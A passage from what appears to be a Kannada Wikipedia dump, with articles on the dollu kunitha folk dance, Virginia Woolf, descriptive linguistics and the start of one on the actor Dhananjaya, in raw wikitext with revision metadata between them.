ಮೋಹ, ಮದ, ಮಾತ್ಸರ್ಯಗಳು ಪಂಚ ರಾತ್ರಿಯ ಪ್ರತೀಕ) ಸೇರುವುದು. ಶಿವನು ಕೋಪದಿಂದ ಕಣ್ಣು ತೆರೆದರೆ ಪ್ರಳಯವೆ ಉಂಟಾಗುವುದೆಂದು ಅರಿತ ವಿಷ್ಣು ಡೊಳ್ಳಾಸುರನ ಹೊಟ್ಟಯನ್ನೇ ವಾದ್ಯವಿಶೇಷವಾಗಿ ಮಾಡಿಕೊಂಡು ಅವನ ಮೂಳೆಗಳಿಂದ ಡೊಳ್ಳು ಬಾರಿಸಲು ಆರಂಭಿಸಿದ. ಶಿವನು ಆ ವಾದ್ಯದ ದನಿಗೆ ಮಾರು ಹೋಗಿ ಲಾಸ್ಯದಲ್ಲಿ ತೊಡಗಿದ. ಈ ವೇಳೆಗೆ ತೊಡೆಯ ಗೌರಿ, ಜೆಡೆಯ ಗಂಗೆಯರು ಬಂದು ಶಿವನನ್ನು ಸೇರಿದರು. ಶಿವ ಸುಪ್ರೀತನಾದ! ಮುಂದೆ ಡೊಳ್ಳು ಶಿವಸ್ತುತಿಯ ವಿಶೇಷ ವಾದ್ಯವಾಯಿತು. ತಲತಲಾಂತರದಿಂದ ದೈವ ಆರಾಧನೆಯ ಸಾಧನವಾಗಿ ಬೆಳೆದು ಬಂದ ಈ ಕಲೆ ಇತ್ತೀಚೆಗೆ ಮನರಂಜನೆಯ ಮಾಧ್ಯಮವಾಗಿ ಮನ್ನಣೆಯನ್ನು ಗಳಿಸಿದೆ. ಯಾವುದೇ ಧಾರ್ಮಿಕ ಸಾಂಸ್ಕ್ರತಿಕ ಸಮಾರಂಭಗಳಲ್ಲಿ ಇದು ಒಂದು ಮುಖ್ಯ ಕಲೆಯಾಗಿ ಗುರುತಿಸಿಕೊಂಡಿದೆ. ಡೊಳ್ಳು ಕುಣಿತವನ್ನು ಚೆನ್ನಾಗಿ ಮೈಗೂಡಿಸಿಕೊಂಡು ಪರಿಣಿತಿಯನ್ನು ಸಾಧಿಸಿರುವವರೆಂದರೆ ಕುರುಬ ಜನಾಂಗ. ಬಿಡುವು ದೊರೆತಾಗಲೆಲ್ಲಾ ಅದರ ಅಭ್ಯಾಸ ಅಭಿವ್ಯಕ್ತಿಗಳಲ್ಲಿ ಆಸಕ್ತರಾಗಿರುತ್ತಿದ್ದರು. ಕಲಾವಿದರಿಗೆ ವಯಸ್ಸಿನ ಕಟ್ಟುಕಟ್ಟಳೆಯಿಲ್ಲ. ಅದರೆ ಡೊಳ್ಳು ಹೊತ್ತು ಕುಣಿಯುವ ದೈಹಿಕ ಶಕ್ತಿ ಇರಬೇಕಾಗುತ್ತದೆ. ಇತ್ತೀಚೆಗೆ ಮಹಿಳೆಯರೂ ಡೊಳ್ಳು ಕುಣಿತ ಮಾಡುತ್ತಾರೆ.<ref>{{cite web |last1=ಎಸ್. |first1=ಗುರುರಾಜ |title=ಗಂಡು ಕಲೆ ಡೊಳ್ಳು ಕುಣಿತ ಕರಗತ ಮಾಡಿಕೊಂಡ ಯುವತಿಯರು|url=https://web.archive.org/web/20200503045522/https://kannada.oneindia.com/features/haveri-women-team-famous-for-folk-dance-dollu-kunitha-187118.html|website=ವನ್ ಇಂಡಿಯಾ ಕನ್ನಡ |publisher=ವನ್ ಇಂಡಿಯಾ ಕನ್ನಡ |accessdate=3 May 2020}}</ref> ಕರ್ನಾಟಕ ಸರಕಾರದ ಕನ್ನಡ ಮತ್ತು ಸಂಸ್ಕೃತಿ ಇಲಾಖೆಯ [http://kannadasiri.co.in/ ಜಾಲತಾಣದಲ್ಲಿ] ಮಾಹಿತಿ ಇದೆ. ==ಉಲ್ಲೇಖ== <References /> [[ವರ್ಗ: ಪ್ರಯೋಗಪುಟ]] ieq0unmwlxpzjd65s2p2fdbmz0ko5hw ವರ್ಜೀನಿಯಾ ವೂಲ್ಫ್ 0 95967 1116450 1058145 2022-08-23T12:48:43Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox writer <!-- for more information see [[:Template:Infobox writer/doc]] --> | name = Virginia Woolf | image =George Charles Beresford - Virginia Woolf in 1902 - Restoration.jpg | birth_name = ಅಡೆಲಿನ್ ವರ್ಜೀನಿಯಾ ಸ್ಟೀಫನ್ <br> Adeline Virginia Stephen | caption=Virginia Woolf in 1902; photograph by [[George Charles Beresford]] | birth_date = {{Birth date|1882|1|25|df=y}} | birth_place = ಕೆನ್ಸಿಂಗ್ಟನ್, ಮಿಡ್ಲ್ಸೆಕ್ಸ್, ಇಂಗ್ಲೆಂಡ್ | death_date = {{Death date and age|1941|3|28|1882|1|25|df=yes}} | death_place = ಲೆವೆಸ್, ಸಸೆಕ್ಸ್, ಇಂಗ್ಲೆಂಡ್ | spouse = Leonard Woolf | alma_mater = ಕಿಂಗ್ಸ್ ಕಾಲೇಜ್ ಲಂಡನ್ | nationality = ಬ್ರಿಟಿಷ್ | notableworks = ಶ್ರೀಮತಿ ಡಲ್ಲೊವೆ, ಲೈಟ್ ಹೌಸ್ ಗೆ, ವೇವ್ಸ್ | occupation = ಕಾದಂಬರಿಗಾರ್ತಿ , ಪ್ರಕಾಶಕಿ , ವಿಮರ್ಶಕಿ |signature = Virginia Woolf signature.svg | module = {{Listen| embed=yes |filename = On Craftsmanship - the only surviving recording of Virginia Woolf.flac |title = Woolf's voice |type = speech |description = from a [[BBC radio]] broadcast made on 29 April 1937 }} }} '''ಅಡೆಲಿನ್ ವರ್ಜೀನಿಯಾ ವೂಲ್ಫ್''' (ನೀ ಸ್ಟೀಫನ್; 25 ಜನವರಿ 1882 - 28 ಮಾರ್ಚ್ 1941) ಒಬ್ಬ ಇಂಗ್ಲಿಷ್ ಬರಹಗಾರ್ತಿ .ಅವರು ಇಪ್ಪತ್ತನೇ ಶತಮಾನದ ಅಗ್ರಗಣ್ಯ ಆಧುನಿಕತಾವಾದಿಗಳಲ್ಲಿ ಒಬ್ಬರಾಗಿದ್ದರು ಮತ್ತು ಪ್ರಜ್ಞೆಯ ಸ್ಟ್ರೀಮ್ ಅನ್ನು ನಿರೂಪಣಾ ಸಾಧನವಾಗಿ ಬಳಸುವ ಪ್ರವರ್ತಕರಾಗಿದ್ದಾರೆ. ಲಂಡನ್ನ ಕೆನ್ಸಿಂಗ್ಟನ್ನಲ್ಲಿ ಶ್ರೀಮಂತ ಮನೆಯೊಂದರಲ್ಲಿ ಜನಿಸಿದ ಅವರು ಲಂಡನ್ನ ಕಿಂಗ್ಸ್ ಕಾಲೇಜ್ ನಲ್ಲಿ ಶಿಕ್ಷಣ ಪಡೆದ ನಂತರ ಮಹಿಳೆಯರ ಉನ್ನತ ಶಿಕ್ಷಣದ ಆರಂಭಿಕ ಸುಧಾರಕರಿಗೆ ಪರಿಚಯವಾದರು.<ref>Lee, Hermione. ''Virginia Woolf''. New York: Vintage, 1999, p. 185.</ref><ref name="oxforddnb.com">{{cite web|authorlink=Lyndall Gordon|last=Gordon|first=Lyndall|title=Woolf, (Adeline) Virginia (1882–1941)|work=[[Oxford Dictionary of National Biography]]|publisher=Oxford University Press|date=May 2005|edition=Online|url=http://www.oxforddnb.com/view/article/37018|doi=10.1093/ref:odnb/37018|accessdate=8 February 2016}}</ref> ಇಂಗ್ಲಿಷ್ ಶಾಸ್ತ್ರೀಯ ಮತ್ತು ವಿಕ್ಟೋರಿಯನ್ ಸಾಹಿತ್ಯದಲ್ಲಿ, ಬಾಲ್ಯದ ಬಹುತೇಕ ಭಾಗಗಳಿಗೆ ಮನೆ-ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಹೊಂದಿದ್ದ ವೂಲ್ಫ್ ವೃತ್ತಿಪರವಾಗಿ 1900 ರಲ್ಲಿ ಬರೆಯಲಾರಂಭಿಸಿದರು.ಅಂತರ್ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ, ವೂಲ್ಫ್ ಲಂಡನ್ ಸಾಹಿತ್ಯಿಕ ಸಮಾಜದಲ್ಲಿ ಗಮನಾರ್ಹ ವ್ಯಕ್ತಿಯಾಗಿದ್ದು ಪ್ರಭಾವಿ ಬ್ಲೂಮ್ಸ್ಬರಿ ಗ್ರೂಪ್ನ ಬುದ್ಧಿಜೀವಿಗಳ ಕೇಂದ್ರ ವ್ಯಕ್ತಿಯಾಗಿತ್ತು.ಅವರ ಪತಿ ಲಿಯೊನಾರ್ಡ್ ವೂಲ್ಫ್ ಜೊತೆ ಸ್ಥಾಪಿಸಿದ ಹೊಗರ್ಥ್ ಪ್ರೆಸ್ ಎಂಬ ಪಬ್ಲಿಷಿಂಗ್ ಹೌಸ್ 1915 ರಲ್ಲಿ ತಮ್ಮ ಮೊದಲ ಕಾದಂಬರಿ ದಿ ವೊಯೇಜ್ ಔಟ್ ಅನ್ನು ಪ್ರಕಟಿಸಿದರು ಅವರ ಪ್ರಸಿದ್ಧ ಕೃತಿಗಳೆಂದರೆ mrs ಡಲ್ಲೊವೆ (1925), ಟು ದಿ ಲೈಟ್ಹೌಸ್ (1927) ಮತ್ತು ಒರ್ಲ್ಯಾಂಡೊ (1928), ಮತ್ತು ಪ್ರಬಂಧ ಎ ರೂಮ್ ಆಫ್ ಒನ್ಸ್ ಓನ್ (1929) ==ಉಲ್ಲೇಖಗಳು== {{reflist}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Div col|colwidth=30em}} * [http://www.bl.uk/people/virginia-woolf Virginia Woolf] at the [[British Library]] * [http://modernism.research.yale.edu/wiki/index.php/Virginia_Woolf Biography of Virginia Woolf on the Yale Modernism Lab] * {{Gutenberg author | id=Woolf,+Virginia }} * {{Internet Archive author |sname=Virginia Woolf}} * [https://ebooks.adelaide.edu.au/w/woolf/virginia/ Works by Virginia Woolf at University of Adelaide] {{Webarchive|url=https://web.archive.org/web/20180412181654/https://ebooks.adelaide.edu.au/w/woolf/virginia/ |date=2018-04-12 }} * [http://news.bbc.co.uk/2/hi/7684201.stm Rare recordings of Virginia Woolf, Conan Doyle, and others] * [http://www.nationaltrust.org.uk/monks-house Monk's House information at the National Trust] * [http://library.vicu.utoronto.ca/special/woolf/wlfindex.htm The Virginia Woolf Collection at the Victoria University (Toronto) Library Special Collections] {{Webarchive|url=https://web.archive.org/web/20120728142757/http://library.vicu.utoronto.ca/special/woolf/wlfindex.htm |date=2012-07-28 }} * [http://archives.nypl.org/brg/19159 Virginia Woolf collection of papers, 1882–1984 (bulk 1912–1940)], held by the Henry W. and Albert A. Berg Collection of English and American Literature, [[New York Public Library]] * [https://archive.is/20130106173908/http://cle.ens-lyon.fr/47784005/0/fiche___pagelibre/&RH=CLE_ANG110100 ''The Legacy'', full text and audio file] * [https://web.archive.org/web/20110913041028/http://cle.ens-lyon.fr/44663661/0/fiche___pagelibre/%26RH%3DCLE_ANG110100 ''The Searchlight'', full text and audio file] {{colend}} b0m6e9gdb1soe6u5lgs83zyhzxqe8xb ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನ 0 108074 1116451 879611 2022-08-23T12:49:17Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನ - ಸಾಮಾನ್ಯ [[ಭಾಷಾ ವಿಜ್ಞಾನ|ಭಾಷಾವಿಜ್ಞಾನ]]ದ ಪ್ರಮುಖ ಶಾಖೆಗಳ ಪೈಕಿ ಒಂದು([[:en:Linguistic description|ಡಿಸ್ಕ್ರಿಪ್ಟಿವ್ ಲಿಂಗ್ವಿಸ್ಟಿಕ್ಸ್]]).<ref>https://www.researchgate.net/publication/255565813_Descriptive_linguistics_and_theoretical_linguistics_some_new_thoughts_on_a_still_uneasy_relationship</ref> ಇದಕ್ಕೆ ವಿವರಣಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನ ಎಂದೂ ಹೆಸರಿದೆ. ಇದು ಭಾಷೆಗಳ ಒಳರಚನೆಗೆ ಸಂಬಂಧಿಸಿದ ವಿಚಾರಗಳನ್ನು ಪೂರ್ಣವಾಗಿಯೂ ಸ್ಪಷ್ಟ ವಾಗಿಯೂ ತಿಳಿಯಲು ಸಹಾಯ ಮಾಡುತ್ತದೆ. ಇದರಲ್ಲಿ ಒಂದು [[ಭಾಷೆ]]ಯ [[ಧ್ವನಿ]], [[ಪದ]], [[ವಾಕ್ಯ]], [[ಅರ್ಥ]] ಮುಂತಾದ ವಿಚಾರಗಳನ್ನು ಆ ಭಾಷೆಯಲ್ಲಿರುವ ಸ್ಥಿತಿಯಲ್ಲಿಯೇ ವಿವರಿಸಿ ತೋರಿಸಲಾಗುತ್ತದೆ. ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನದಲ್ಲಿ ಯಾವುದಾದರೊಂದು ಕಾಲದ ಭಾಷೆಯನ್ನೋ ಯಾವುದಾದರೊಂದು ಸ್ಥಳದ ಭಾಷೆಯನ್ನೋ ಪ್ರತ್ಯೇಕವಾಗಿ ವಿವೇಚಿಸಬಹುದು. ಹೀಗೆ ಭಾಷೆಯ ಅಧ್ಯಯನ ಒಂದು ಕಾಲಕ್ಕೆ, ಒಂದು ಪ್ರದೇಶಕ್ಕೆ ಸೀಮಿತವಾದುದನ್ನು ವರ್ಣನಾತ್ಮಕ ಪದ್ಧತಿ ಎನ್ನಲಾಗುತ್ತದೆ. ಭಾಷಾವಿಜ್ಞಾನ ಕ್ಷೇತ್ರದಲ್ಲಿ ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನ ಮಹತ್ತ್ವವಾದುದು. ಭಾಷೆಯ ಅಧ್ಯಯನಕ್ಕೆ ಇದರ ಜ್ಞಾನ ಅನಿವಾರ್ಯ. ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನದ ಮೂಲತತ್ತ್ವಗಳನ್ನು ಅರಿಯದೆ ಭಾಷೆಯ ಐತಿಹಾಸಿಕ ಅಧ್ಯಯನವನ್ನಾಗಲೀ ತೌಲನಿಕ ಅಧ್ಯಯನವನ್ನಾಗಲೀ ಮಾಡಲು ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ. ಭಾಷೆಯ ರಚನೆಗೆ ಸಂಬಂಧಿಸಿದ ಅಂಶಗಳನ್ನು ಅರಿಯುವುದು, ವರ್ಣಿಸುವುದು ಅಥವಾ ವಿವರಿಸುವುದು ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನದ ಉದ್ದೇಶ. ಭಾಷೆಯ ಘಟಕಗಳಾದ [[ಅಕ್ಷರ]], [[ಆಕೃತಿ]], ಪದ, ಪದಪುಂಜ ಹಾಗೂ ಸಂಪೂರ್ಣ ವಾಕ್ಯದ ವರೆಗಿನ ಅಧ್ಯಯನ ವ್ಯವಸ್ಥಿತ ರೀತಿಯಲ್ಲಿ ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನದಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ಭಾಷೆ ಬದಲಾವಣೆ ಯುಳ್ಳದ್ದಾದರೂ ಅದನ್ನು ಗಣನೆಗೆ ತೆಗೆದುಕೊಳ್ಳದೆ ಒಂದು ಕಾಲದ, ಪ್ರದೇಶದ ಭಾಷಾ ರಚನೆಯ ಸ್ವರೂಪವನ್ನು ವಿವರಿಸಿ ನಿರೂಪಿಸುವುದು ಈ ಅಧ್ಯಯನದ ವಿಧಾನ. ಧ್ವನಿರೂಪ ಮತ್ತು ಅರ್ಥ ಎಂಬ ಎರಡು ಅಂಶಗಳನ್ನು ಭಾಷೆ ಒಳಗೊಂಡಿದೆ. ಒಂದು ಬಾಹ್ಯ ಮತ್ತೊಂದು ಆಂತರಿಕ. ಭಾಷೆ ಧ್ವನಿಗಳನ್ನು ಹೊಂದಿ ಬಾಹ್ಯ ಸ್ವರೂಪವನ್ನು ಸಂಪಾದಿಸಿಕೊಂಡಂತೆ ಅರ್ಥವನ್ನು ಹೊಂದಿ ಅಂತಃಸ್ವರೂಪವನ್ನು ಪಡೆಯುತ್ತದೆ. ಯಾವುದೇ ಒಂದು ಭಾಷೆ ಬಾಹ್ಯ ಸ್ವರೂಪಗಳಾದ ಧ್ವನಿ, ಧ್ವನಿಮಾ ಹಾಗೂ ಅಕ್ಷರಗಳೇ ಅಲ್ಲದೆ ಆಕೃತಿಮಾ, ಪದ, ಪದಪುಂಜ, ವಾಕ್ಯದಂಥ ದೊಡ್ಡ ರಚನೆ ಗಳನ್ನು ಹೊಂದಿ ಬೇರೆ ಬೇರೆ ರೂಪಗಳನ್ನು ಪಡೆದಿರುತ್ತದೆ. ಈ ರೂಪಗಳು ಬಿಂಬಿಸುವ ಅರ್ಥವೇ ಅಂತಃಸ್ವರೂಪ. ಇವುಗಳನ್ನು ವಿವರಿಸುವ ಕಾರ್ಯ ಈ ಅಧ್ಯಯನದಲ್ಲಿ ನಡೆಯುತ್ತದೆ<ref>cite book|last=Kordić |first=Snježana |authorlink=Snježana Kordić |year=2010 |language=Serbo-Croatian |title=Jezik i nacionalizam |trans-title=Language and Nationalism |url=http://bib.irb.hr/datoteka/475567.Jezik_i_nacionalizam.pdf|series=Rotulus Universitas |location=Zagreb |publisher=Durieux |page=60 |isbn=978-953-188-311-5 |lccn=2011520778 |oclc=729837512 |ol=15270636W |id=COBISS|13436977 |archivedate= 8 July 2012 |archiveurl=https://www.webcitation.org/690BiBe4T?url= |accessdate=11 August 2015 |df=</ref></ref>. ಇದನ್ನು ಈ ಕೆಳಗಿನಂತೆ ಸ್ಪಷ್ಟವಾಗಿ ತೋರಿಸಬಹುದು: :ಧ್ವನಿ - [[ಧ್ವನಿ ವಿಜ್ಞಾನ]] :ಧ್ವನಿಮಾ (ಅಕ್ಷರ) - [[ಧ್ವನಿಮಾ ವಿಜ್ಞಾನ]] :ಆಕೃತಿ (ಪದ) - [[ಆಕೃತಿಮಾ ವಿಜ್ಞಾನ]] :ಪದಪುಂಜ (ವಾಕ್ಯ) - [[ವಾಕ್ಯ ವಿಜ್ಞಾನ]] :ಆಕೃತಿಮಾದ ಅರ್ಥ - [[ಅರ್ಥ ವಿಜ್ಞಾನ]](ಪದದ ಅರ್ಥ, ವಾಕ್ಯಾರ್ಥ) == [[ಧ್ವನಿ ವಿಜ್ಞಾನ|ಧ್ವನಿವಿಜ್ಞಾನ]] == ಉಚ್ಚರಿತ ಧ್ವನಿಯನ್ನು ಕುರಿತಾದ ಅಧ್ಯಯನ. ಧ್ವನಿಗಳ ಹುಟ್ಟು, ಸಾಗುವಿಕೆ, ಗ್ರಹಿಸುವ ರೀತಿ ಹಾಗೂ ಉತ್ಪತ್ತಿಯಾದ ಧ್ವನಿಯ ಲಕ್ಷಣಗಳನ್ನು ಮೂರು ಶಾಖೆಗಳಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಲಾಗುತ್ತದೆ. # ಉಚ್ಚಾರಣಾತ್ಮಕ ಧ್ವನಿವಿಜ್ಞಾನ: ಧನ್ಯಂಗಗಳು ಮತ್ತು ಅವುಗಳ ಕಾರ್ಯ, ಧ್ವನಿಗಳ ವಿವರಣೆ ಮತ್ತು ವರ್ಗೀಕರಣ, ಸಂಯುಕ್ತತೆ ಮೊದಲಾದ ವಿಚಾರಗಳನ್ನು ಈ ಅಧ್ಯಯನದಲ್ಲಿ ತಿಳಿಯಬಹುದು. # ತರಂಗಾತ್ಮಕ ಧ್ವನಿವಿಜ್ಞಾನ: ಧ್ವನಿಗಳ ಭೌತಿಕ ಲಕ್ಷಣಗಳನ್ನು ಗುರುತಿಸುವ ಕಾರ್ಯ ಈ ಶಾಖೆಯಲ್ಲಿ ನಡೆಯುತ್ತದೆ. # ಶ್ರವ್ಯಾತ್ಮಕ ಧ್ವನಿವಿಜ್ಞಾನ: ಶಬ್ದಗಳನ್ನು ಕಿವಿಯ ಮೂಲಕ ಗ್ರಹಿಸಿ ಅರ್ಥಮಾಡಿಕೊಳ್ಳುವ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಅರಿಯಲು ಇದು ಸಹಾಯಕ. == ಧ್ವನಿಮಾ ವಿಜ್ಞಾನ == ಅರ್ಥಭೇದಕ ಶಕ್ತಿಯುಳ್ಳ ಧ್ವನಿ ಪ್ರಸಾರಗಳ ಸಾಧ್ಯತೆ ಹಾಗೂ ಭಿನ್ನತೆಗೆ ಕಾರಣವಾದ ಧ್ವನಿಗಳನ್ನು, ಅವುಗಳ ಪರಿಸರವನ್ನು ಕುರಿತ ಅಧ್ಯಯನ. == ಆಕೃತಿಮಾ ವಿಜ್ಞಾನ == ಧ್ವನಿ ಹಾಗೂ ಧ್ವನಿಮಾಗಳ ಅರ್ಥವತ್ತಾದ ರಚನೆ ಮತ್ತು ಅವುಗಳಿಂದಾಗುವ ಪದ ರಚನೆ ಕುರಿತ ಅಧ್ಯಯನ. ವಿಭಜನೆ ಮತ್ತು ಸಂಯೋಜನೆಗಳು ಆಕೃತಿಮಾ ಸ್ಥಾನವನ್ನು ಗುರುತಿಸುವ ಎರಡು ಪರಸ್ಪರ ಪೂರಕ ತಂತ್ರಗಳು. ಒಂದು ವಾಕ್ಯದಲ್ಲಿ ಅರ್ಥವತ್ತಾದ ಘಟಕಗಳನ್ನು ಗುರುತಿಸುತ್ತ ರಚನೆಗಳನ್ನು ಒಡೆಯುತ್ತ ಹೋಗುವ ರೀತಿಯೇ ವಿಭಜನೆ. ಇಂಥ ಘಟಕಗಳಲ್ಲಿ ಅರ್ಥಸಂಬಂಧ ಹೊಂದಿದವುಗ ಳನ್ನು ಒಂದೆಡೆ ತಂದು ಅವುಗಳ ಆಕೃತಿಮಾ ಸ್ಥಾನ ಗುರುತಿಸುವುದೇ ಸಂಯೋಜನೆ. ಹೀಗೆ ಅರ್ಥಸಂಬಂಧ ಹೊಂದಿದ ರೂಪಗಳನ್ನು ಒಂದೇ ಆಕೃತಿಮಾದ ಉಪ ಅಂಗಗಳೋ ಬೇರೆ ಆಕೃತಿಮಾಗಳೋ ಎಂಬುದನ್ನು ಆಕೃತಿಮಾ ವಿಜ್ಞಾನ ತಿಳಿಸುತ್ತದೆ. == ವಾಕ್ಯ ವಿಜ್ಞಾನ == ವಾಕ್ಯ ಸ್ವರೂಪದ ಅಧ್ಯಯನ. ಇಲ್ಲಿ ವಾಕ್ಯಗಳಲ್ಲಿ ಬರುವ ನಿಕಟತಮ ಘಟಕಗಳನ್ನು ಗುರುತಿಸುವುದು, ಅವುಗಳ ಮೂಲಕ ವಾಕ್ಯದ ರಚನೆಯನ್ನು ತಿಳಿಯುವುದು, ವಾಕ್ಯ ಸಂಯೋಜಕಗಳ ಮತ್ತು ಪದಪುಂಜ ರಚನಾ ನಿಯಮಗಳ ಮೂಲಕ ಅವುಗಳ ವಿವಿಧ ರಚನಾ ವಿಧಾನಗಳನ್ನು ಅರಿಯುವುದು. ರೂಪಾಂತರ ನಿಯಮಗಳ ರೀತ್ಯಾ ವಿವಿಧ ವಾಕ್ಯಗಳ ಉತ್ಪಾದನಾ ಸಾಧ್ಯತೆಗಳನ್ನು ತಿಳಿಯುವುದು ಮೊದಲಾದ ವಿಚಾರಗಳು ಇಲ್ಲಿ ಮುಖ್ಯವಾಗುತ್ತವೆ. == ಅರ್ಥ ವಿಜ್ಞಾನ == ಒಂದು ಶಬ್ದದ ಅರ್ಥವನ್ನು, ಉತ್ಪಾದನಾ ವ್ಯಾಕರಣ ನೀಡಿದ ಕೊಡುಗೆಯಾದ ವಿಭಾಗೀಯ ವಿಶ್ಲೇಷಣೆಯ ಸಹಾಯದಿಂದ ತಿಳಿಯುವುದು. ಇದರಿಂದ ಒಂದು ಭಾಷಾರೂಪದ ಅರ್ಥವನ್ನು ವ್ಯಾಖ್ಯಾನಿಸಲು ಮತ್ತು ಅದರ ವಿಶ್ಲೇಷಣೆಯನ್ನು ವೈಜ್ಞಾನಿಕವಾಗಿ ನಿರೂಪಿಸಲು ಸಾಧ್ಯ. ಐತಿಹಾಸಿಕ ಅರ್ಥವಿಜ್ಞಾನದಲ್ಲಿ ಅರ್ಥಪರಿವ ರ್ತನೆಯನ್ನು ಗುರುತಿಸುವ ಕಾರ್ಯನಡೆಯುತ್ತದೆ. ಸಂರಚನಾತ್ಮಕ ಅರ್ಥವಿಜ್ಞಾನ ವಿಭಾಗದಲ್ಲಿ ಸಮಾನಾರ್ಥ, ವಿರುದ್ಧಾರ್ಥ, ಭಿನ್ನಾರ್ಥ, ಅನೇಕಾರ್ಥ, ಸಮೂಹಾರ್ಥ ಮೊದಲಾದ ವಿಚಾರಗಳನ್ನು ತಿಳಿಯಬಹುದು. ಸಂಕೀರ್ಣ ವ್ಯವಸ್ಥೆಯಿಂದ ಕೂಡಿದ ಭಾಷೆಯ ರಚನೆಯನ್ನು ವಿವರಿಸುವುದು ಕಷ್ಟದ ಕೆಲಸ. ಆದರೆ ಭಾಷೆಯನ್ನು ಒಂದೇ ಕಾಲಘಟ್ಟಕ್ಕೆ ಸೀಮಿತವಾದಂತೆ ಒಂದೇ ಪ್ರದೇಶಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ವರ್ಣಿಸುವುದು ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನದಿಂದ ಸಾಧ್ಯವಾಗಿದೆ. == ಉಲ್ಲೇಖ == <references /> {{Wikisource|ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ವಿಶ್ವಕೋಶ/ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನ|ವರ್ಣನಾತ್ಮಕ ಭಾಷಾವಿಜ್ಞಾನ}} [[ವರ್ಗ:ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ವಿಶ್ವಕೋಶ]] c61gzsqx83ph5qp5uw466mrm0bnv086 ಧನಂಜಯ್ (ನಟ) 0 108682 1116559 1086380 2022-08-24T03:24:43Z 223.186.114.140 ಕಾಗುಣಿತ ತಿದ್ದಿದೆ wikitext text/x-wiki {{Infobox person | name = ಧನಂಜಯ್ <br> Dhananjaya | image =Dhananjay (7).jpg| imagesize = | caption = | birthname = | birth_date = 23 ಆಗಸ್ಟ್ 1986 | birth_place = ಕಾಳೆನಹಳ್ಳಿ, [[ಅರಸಿಕೆರೆ]], [[ಹಾಸನ]] [[ಕರ್ನಾಟಕ]], | death_date = | death_place = | nationality = ಭಾರತೀಯ | othername = | alma_mater = ಶ್ರೀ ಜಯಚಾಮರಾಜೇಂದ್ರ ಕಾಲೇಜ್ ಆಫ್ ಇಂಜಿನಿಯರಿಂಗ್, [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]]. | occupation =[[ನಟ]] | yearsactive = 2013–ಪ್ರಸ್ತುತ | homepage = | bgcolour = }} '''ಧನಂಜಯ''' [[ಕನ್ನಡ ಚಿತ್ರರಂಗ|ಕನ್ನಡ ಚಲನಚಿತ್ರ]] ನಟ ಮತ್ತು ರಂಗಭೂಮಿ ಕಲಾವಿದ. ಮೊದಲು ರಂಗಭೂಮಿಯಲ್ಲಿ ಅಭಿನಯಿಸಿದ ನಂತರ, 2013 ರಲ್ಲಿ ಡೈರೆಕ್ಟರ್ಸ್ ಸ್ಪೆಷಲ್ ಮೊದಲ ಚಲನಚಿತ್ರದಲ್ಲಿ ಅಭಿನಯಿಸಿದರು . ಚಿತ್ರದಲ್ಲಿನ ಅಭಿನಯಕ್ಕಾಗಿ ಅವರಿಗೆ SIIMA ಉದಯೋನ್ಮುಖ ಉತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದಿದ್ದಾರೆ . ==ಆರಂಭಿಕ ಜೀವನ ಮತ್ತು ಕುಟುಂಬ== ಧನಂಜಯ ಅವರು [[ಹಾಸನ ಜಿಲ್ಲೆ|ಹಾಸ]]ನ ಜಿಲ್ಲೆಯ [[ಅರಸೀಕೆರೆ|ಅರಸಿಕೆರೆಯ]] ಕಾಳೆನಹಳ್ಳಿ ಗ್ರಾಮದಲ್ಲಿ ಜನಿಸಿದರು. ಅಲ್ಲಿ ಅವರು ಸೇಂಟ್ ಮೇರಿಸ್ ಹೈಸ್ಕೂಲ್ನಲ್ಲಿ ತಮ್ಮ ಪ್ರೌಢಶಾಲಾ ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡಿದರು.ಅವರು ಬಾಲ್ಯದಲ್ಲಿ ತನ್ನ ತಂದೆಯೊಂದಿಗೆ ಹಳ್ಳಿಯಲ್ಲಿ ನಾಟಕಗಳನ್ನು ನೋಡುವುದರ ಜೊತೆಗೆ ನಟಿಸುತಿದ್ದರು.ಶ್ರೀ ಜಯಚಾಮರಾಜೇಂದ್ರ ಕಾಲೇಜ್ ಆಫ್ ಇಂಜಿನಿಯರಿಂಗ್ನಲ್ಲಿ ಪದವಿಯನ್ನು ಪಡೆದ ನಂತರ ಮೈಸೂರು ಇನ್ಫೋಸಿಸ್ ನಲ್ಲಿ ಕೆಲಸಕ್ಕೆ ಸೇರಿದರು .ಆದಾಗ್ಯೂ, ಅವರ ಆಸಕ್ತಿ ನಟನೆಯಲ್ಲಿ ಇರುವ ಕಾರಣ ಮೈಸೂರುನಲ್ಲಿರುವ ಜನಪ್ರಿಯ ರಂಗಾಯಣ ರಂಗಭೂಮಿ ಗುಂಪನ್ನು ಆಗಾಗ ಭೇಟಿ ನೀಡುತ್ತಿದ್ದರು.ಅಂತಿಮವಾಗಿ, ಅವರು ಅದೇ ಥಿಯೇಟರ್ ಗುಂಪಿನಲ್ಲಿ 